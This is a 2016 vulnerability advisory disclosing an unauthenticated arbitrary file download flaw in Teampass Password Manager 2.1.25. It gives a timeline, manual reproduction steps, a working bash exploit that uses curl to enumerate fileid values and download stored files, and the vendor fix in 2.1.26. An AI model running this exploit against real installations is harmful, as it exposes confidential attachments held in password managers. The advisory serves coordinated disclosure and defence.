Teampass 2.1.25 Arbitrary File Download
Posted on 27 May 2016
Document Title: =============== Teampass v2.1.25 - Arbitrary File Download Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1843 Release Date: ============= 2016-05-17 Vulnerability Laboratory ID (VL-ID): ==================================== 1843 Common Vulnerability Scoring System: ==================================== 8.1 Product & Service Introduction: =============================== TeamPass is a Passwords Manager dedicated for managing passwords in a collaborative way on any server Apache, MySQL and PHP. It is especially designed to provide passwords access security for allowed people. This makes TeamPass really useful in a Business/Enterprise environment and will provide to IT or Team Manager a powerful and easy tool for customizing passwords access depending on the user’s role. (Copy of the Homepage: http://teampass.net/ ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered an arbitrary file download vulnerability in the Teampass Password Manager v2.1.25 web-application. Vulnerability Disclosure Timeline: ================================== 2016-05-11: Researcher Notification & Coordination (Peter Kok) 2016-05:12 Vendor Notification (Teampass Security Team) 2016-05-13: Vendor Response/Feedback (Teampass Security Team) 2016-05-15: Vendor Fix/Patch (Teampass Developer Team) 2016-05-17: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Nils Laumaillé Product: Teampass Password Manager - Online Service (Web-Application) 2.1.25 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ An arbitrary file download web vulnerability has been discovered in the Teampass Password Manager v2.1.25 web-application. The arbitrary file download vulnerability allows remote attackers to unauthorized download files via GET method request. The web vulnerability is located in the `downloadFile.php` file. Remote attackers are able to download internal uploaded files without any authentication. The web vulnerability can be exploited by remote attackers without user interaction. The issue is located on the application-side of the web-application and the request method to access is GET. The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.1. Exploitation of the arbitrary file download vulnerability requires no user interaction or privileged web-application user account. Successful exploitation of the arbitrary file download web vulnerability results in unauthorized file access and information disclosure. Request Method(s): [+] GET Vulnerable File(s): [+] downloadFile.php Vulnerable Parameter(s): [+] fileid Proof of Concept (PoC): ======================= The arbitrary file download web vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reprodcue the vulnerability ... 1. Open a browser and visit https://your.teampass.installation/sources/downloadFile.php which will display the message "Hacking attempt..." 2. Get a cookie by visiting the login page https://your.teampass.installation/, you don't have to authenticate only visit this page 3. Again visit https://your.teampass.installation/sources/downloadFile.php, now that the cookie is set there is no "Hacking attempt..." message Files which are attached to items created in teampass can now be downloaded with the url https://your.teampass.installation/sources/downloadFile.php?name=lol&pathIsFiles=0&fileid=1 Just change the fileid in the url to download different stored files PoC: Exploit #!/bin/bash COOKIE=/tmp/teampass.cookie if [ ! "$1" ] then echo "Usage: $0 [url]" exit 0 fi #Get a valid cookie curl -c $COOKIE -s "$1" >/dev/null #get stored files with fileid 1 through 100 for i in $(seq 1 100) do curl -b $COOKIE "$1/sources/downloadFile.php?name=lol&pathIsFiles=0&fileid=$i" -s -o file-$i if [ -s "file-$i" ] then #display the filetype file file-$i else #remove file if empty rm -f file-$i fi done rm -f $COOKIE exit 0 Solution - Fix & Patch: ======================= The arbitrary file download vulnerability can be patched by denying access to the `downloadFile.php` without authentication. Note: The manufacturer fixed the vulnerability and an update is available for download in version 2.1.26. URL: http://teampass.net/2016-05-13-release-2.1.26 Security Risk: ============== The security risk of the arbitrary file download web vulnerability in the Teampass Password Manager web-application is estimated as high. (CVSS 8.1) Credits & Authors: ================== Peter Kok - [http://www.vulnerability-lab.com/show.php?user=Peter%20Kok] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. 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